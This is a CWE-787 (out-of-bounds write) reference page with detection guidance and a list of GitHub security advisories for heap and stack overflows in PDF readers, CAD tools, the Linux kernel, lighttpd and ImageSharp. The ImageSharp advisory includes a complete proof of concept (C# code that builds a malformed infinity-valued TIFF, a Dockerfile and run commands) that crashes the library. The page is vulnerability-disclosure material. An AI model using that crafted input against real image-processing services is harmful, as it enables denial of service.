Common Weakness Enumeration

CWE-787

Weakness Allowed-with-Review

Out-of-bounds Write

Abstraction: Base · Status: Draft

The product writes data past the end, or before the beginning, of the intended buffer.

Dimensions

  • Behavior-Type: Write
  • Resource-Type: Memory Buffer
  • Resource-Property: Out-of-bounds
Mapping guidance

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities. However, closer examination is required.

While this CWE is allowed for mapping, it has more specific children that might be a better fit. Carefully read both the name and description to ensure that this mapping is appropriate. Consider the root cause errors that have led to the out-of-bounds write by examining "CanFollow" relationships for this entry.

Relationships and members
ChildOf: CWE-119 · View CWE-1000
ChildOf: CWE-119 · View CWE-1003
ChildOf: CWE-119 · View CWE-1305
ChildOf: CWE-119 · View CWE-1340
Modes of introduction
Implementation
Detection methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Dynamic Analysis

Use tools that are integrated during compilation to insert runtime error-checking mechanisms related to memory safety errors, such as AddressSanitizer (ASan) for C/C++ [REF-1518].

Effectiveness: Moderate

Crafted inputs are necessary to reach the code containing the error, such as generated by fuzzers. Also, these tools may reduce performance, and they only report the error condition - not the original mistake that led to the error.

Content history
Submission: CWE Content Team · MITRE · 2009-10-21 · CWE 1.6
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2024-02-29 · CWE 4.15

Provided diagram to improve CWE usability

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Relationships

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2014-06-23 · CWE 2.7

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated Description

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Alternate_Terms, Demonstrative_Examples, Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Demonstrative_Examples, Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Applicable_Platforms

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Alternate_Terms, Demonstrative_Examples, Description

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2024-02-29 · CWE 4.14

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2024-07-16 · CWE 4.15

updated Alternate_Terms, Common_Consequences, Description, Diagram, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Affected_Resources, Functional_Areas, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Detection_Factors, References, Relationships

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Dimensions, Observed_Examples, References, Relationships, Taxonomy_Mappings

16871 vulnerabilities reference this CWE, most recent first.

GHSA-J34F-JXR8-G75H

Vulnerability from github – Published: 2023-01-26 21:30 – Updated: 2024-11-27 21:32
VLAI
Details

This vulnerability allows remote attackers to execute arbitrary code on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of U3D files. Crafted data in a U3D file can trigger a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-18893.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-42394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-26T18:59:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of U3D files. Crafted data in a U3D file can trigger a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-18893.",
  "id": "GHSA-j34f-jxr8-g75h",
  "modified": "2024-11-27T21:32:38Z",
  "published": "2023-01-26T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42394"
    },
    {
      "type": "WEB",
      "url": "https://www.tracker-software.com/product/pdf-xchange-editor/history"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-22-1392"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J369-XXV2-VW8F

Vulnerability from github – Published: 2022-05-24 17:08 – Updated: 2022-05-24 17:08
VLAI
Details

Adobe Acrobat and Reader versions, 2019.021.20061 and earlier, 2017.011.30156 and earlier, 2017.011.30156 and earlier, and 2015.006.30508 and earlier have a heap overflow vulnerability. Successful exploitation could lead to arbitrary code execution .

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-13T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Adobe Acrobat and Reader versions, 2019.021.20061 and earlier, 2017.011.30156 and earlier, 2017.011.30156 and earlier, and 2015.006.30508 and earlier have a heap overflow vulnerability. Successful exploitation could lead to arbitrary code execution .",
  "id": "GHSA-j369-xxv2-vw8f",
  "modified": "2022-05-24T17:08:57Z",
  "published": "2022-05-24T17:08:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3742"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb20-05.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-J3C3-W8RR-C5R8

Vulnerability from github – Published: 2022-01-14 00:01 – Updated: 2022-01-15 00:02
VLAI
Details

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Bentley View 10.15.0.75. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of DGN files. Crafted data in a DGN file can trigger a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-14892.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-34914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-13T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Bentley View 10.15.0.75. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of DGN files. Crafted data in a DGN file can trigger a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-14892.",
  "id": "GHSA-j3c3-w8rr-c5r8",
  "modified": "2022-01-15T00:02:20Z",
  "published": "2022-01-14T00:01:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34914"
    },
    {
      "type": "WEB",
      "url": "https://www.bentley.com/en/common-vulnerability-exposure/BE-2021-0009"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1502"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-J3F2-QMPV-4939

Vulnerability from github – Published: 2025-04-15 21:31 – Updated: 2025-08-19 15:31
VLAI
Details

A maliciously crafted PDF file, when linked or imported into Autodesk applications, can force a Heap-Based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-1656"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T21:15:47Z",
    "severity": "HIGH"
  },
  "details": "A maliciously crafted PDF file, when linked or imported into Autodesk applications, can force a Heap-Based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.",
  "id": "GHSA-j3f2-qmpv-4939",
  "modified": "2025-08-19T15:31:20Z",
  "published": "2025-04-15T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1656"
    },
    {
      "type": "WEB",
      "url": "https://www.autodesk.com/products/autodesk-access/overview"
    },
    {
      "type": "WEB",
      "url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J3FG-CRMH-9VQP

Vulnerability from github – Published: 2024-10-01 15:32 – Updated: 2024-10-04 18:31
VLAI
Details

cute_png v1.05 was discovered to contain a heap buffer overflow via the cp_chunk() function at cute_png.h.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-46276"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-01T14:15:06Z",
    "severity": "HIGH"
  },
  "details": "cute_png v1.05 was discovered to contain a heap buffer overflow via the cp_chunk() function at cute_png.h.",
  "id": "GHSA-j3fg-crmh-9vqp",
  "modified": "2024-10-04T18:31:10Z",
  "published": "2024-10-01T15:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46276"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/blob/master/cute_headers/cute_png/heapof-r4-cp_chunk-cute_png-956c7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/blob/master/cute_headers/cute_png/heapof-r4-cp_chunk-cute_png-956c7/poc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/blob/master/cute_headers/cute_png/heapof-r4-cp_chunk-cute_png-956c7/poc/sample7.png"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/blob/master/cute_headers/cute_png/heapof-r4-cp_chunk-cute_png-956c7/vulDescription.assets/image-20240527232923330.png"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/blob/master/cute_headers/cute_png/heapof-r4-cp_chunk-cute_png-956c7/vulDescription.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J3FJ-GJRJ-C97Q

Vulnerability from github – Published: 2025-01-08 18:30 – Updated: 2025-01-09 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

drm/amd/display: Adding array index check to prevent memory corruption

[Why & How] Array indices out of bound caused memory corruption. Adding checks to ensure that array index stays in bound.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-56784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-08T18:15:19Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Adding array index check to prevent memory corruption\n\n[Why \u0026 How]\nArray indices out of bound caused memory corruption. Adding checks to\nensure that array index stays in bound.",
  "id": "GHSA-j3fj-gjrj-c97q",
  "modified": "2025-01-09T21:31:29Z",
  "published": "2025-01-08T18:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56784"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2c437d9a0b496168e1a1defd17b531f0a526dbe9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/dff526dc3e27f5484f5ba11471b9fbbe681467f2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J3G5-CMXW-WC7R

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details

Fatek Automation FvDesigner FPJ File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Fatek Automation FvDesigner. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of FPJ files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated data structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-18166.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-34265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T02:15:24Z",
    "severity": "HIGH"
  },
  "details": "Fatek Automation FvDesigner FPJ File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Fatek Automation FvDesigner. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of FPJ files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated data structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-18166.",
  "id": "GHSA-j3g5-cmxw-wc7r",
  "modified": "2024-05-03T03:30:51Z",
  "published": "2024-05-03T03:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34265"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-763"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J3G7-39R8-G36Q

Vulnerability from github – Published: 2022-05-13 00:00 – Updated: 2025-05-05 18:31
VLAI
Details

Out-of-bounds write in the BIOS firmware for some Intel(R) Processors may allow a privileged user to potentially enable aescalation of privilege via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-0153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-12T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Out-of-bounds write in the BIOS firmware for some Intel(R) Processors may allow a privileged user to potentially enable aescalation of privilege via local access.",
  "id": "GHSA-j3g7-39r8-g36q",
  "modified": "2025-05-05T18:31:43Z",
  "published": "2022-05-13T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0153"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220818-0003"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00601.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J3JP-95WP-9Q83

Vulnerability from github – Published: 2022-01-07 00:00 – Updated: 2022-01-14 00:03
VLAI
Details

In lighttpd 1.4.46 through 1.4.63, the mod_extforward_Forwarded function of the mod_extforward plugin has a stack-based buffer overflow (4 bytes), as demonstrated by remote denial of service (daemon crash).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-22707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-06T06:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In lighttpd 1.4.46 through 1.4.63, the mod_extforward_Forwarded function of the mod_extforward plugin has a stack-based buffer overflow (4 bytes), as demonstrated by remote denial of service (daemon crash).",
  "id": "GHSA-j3jp-95wp-9q83",
  "modified": "2022-01-14T00:03:06Z",
  "published": "2022-01-07T00:00:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22707"
    },
    {
      "type": "WEB",
      "url": "https://redmine.lighttpd.net/issues/3134"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5040"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-J3P4-WP97-RPH4

Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-26 14:18
VLAI
Summary
ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index
Details

Summary

SixLabors.ImageSharp can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applies HistogramEqualization(). An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range HalfVector4 component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access.

This report covers HistogramEqualization only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected range: >= 2.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with AccessViolationException, while the finite 0.5 control completes on each tested release.

Details

ColorNumerics.GetBT709Luminance can produce a luminance that does not map to a valid histogram index. GrayscaleLevelsRowOperation.Invoke then uses that result as an unchecked Unsafe.Add offset into the histogram.

The reproduction reaches this code through the public HistogramEqualization() extension. It does not test or claim the Adaptive Histogram Equalization or AutoLevel paths.

Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker

Reproduction

Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes HistogramEqualization().

Observed result:

mode=exploit tiffBytes=166 sample=Infinity
decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker exit status: 133

The control is identical except samples are 0.5:

mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel=<0.5, 0.5, 0.5, 1>
completed
Docker exit status: 0

When the same exploit binary was invoked through a shell inside the container, the shell printed Aborted and reported status 134. The direct docker run result above is the result for the supplied Docker commands.

No active exploitation is known.

Complete PoC files

Program.cs:

using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;

static class Program
{
    private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)
    {
        ifd.AddRange(BitConverter.GetBytes(tag));
        ifd.AddRange(BitConverter.GetBytes(type));
        ifd.AddRange(BitConverter.GetBytes(count));
        ifd.AddRange(BitConverter.GetBytes(value));
    }

    // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
    private static byte[] BuildTiff(float sample)
    {
        const int width = 8;
        const int entries = 10;
        const int ifdOffset = 8;
        const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
        List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];
        List<byte> ifd = [];
        ifd.AddRange(BitConverter.GetBytes((ushort)entries));
        const ushort Short = 3, Long = 4;
        AddEntry(ifd, 256, Long, 1, width);             // ImageWidth
        AddEntry(ifd, 257, Long, 1, 1);                 // ImageLength
        AddEntry(ifd, 258, Short, 1, 32);               // BitsPerSample
        AddEntry(ifd, 259, Short, 1, 1);                // Compression = none
        AddEntry(ifd, 262, Short, 1, 1);                // Photometric = BlackIsZero
        AddEntry(ifd, 273, Long, 1, pixelOffset);       // StripOffsets
        AddEntry(ifd, 277, Short, 1, 1);                // SamplesPerPixel
        AddEntry(ifd, 278, Long, 1, 1);                 // RowsPerStrip
        AddEntry(ifd, 279, Long, 1, width * 4);         // StripByteCounts
        AddEntry(ifd, 339, Short, 1, 3);                // SampleFormat = IEEE float
        ifd.AddRange([0, 0, 0, 0]);
        file.AddRange(ifd);
        for (int i = 0; i < width; i++)
        {
            file.AddRange(BitConverter.GetBytes(sample));
        }

        return file.ToArray();
    }

    private static void Main(string[] args)
    {
        string mode = args.FirstOrDefault() ?? "exploit";
        float sample = mode == "control" ? 0.5F : float.PositiveInfinity;
        byte[] tiff = BuildTiff(sample);
        Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");

        using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);
        Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}");
        image.Mutate(x => x.HistogramEqualization());
        Console.Error.WriteLine("completed");
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY j3p4.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build j3p4.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]

Run:

docker build -t imagesharp-j3p4-poc .
docker run --rm imagesharp-j3p4-poc exploit
docker run --rm imagesharp-j3p4-poc control
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:24:23Z",
    "nvd_published_at": "2026-10-06T18:16:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image\u003cHalfVector4\u003e` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `\u003e= 2.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nTIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release.\n### Details\n\n[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram.\n\nThe reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nBuild the supplied Dockerfile and run the exploit. The harness creates a valid\n8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,\ndecodes it through the public API, and invokes `HistogramEqualization()`.\n\nObserved result:\n\n```text\nmode=exploit tiffBytes=166 sample=Infinity\ndecoded=8x1 pixel=\u003cInfinity, Infinity, Infinity, 1\u003e\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel=\u003c0.5, 0.5, 0.5, 1\u003e\ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n    private static void AddEntry(List\u003cbyte\u003e ifd, ushort tag, ushort type, uint count, uint value)\n    {\n        ifd.AddRange(BitConverter.GetBytes(tag));\n        ifd.AddRange(BitConverter.GetBytes(type));\n     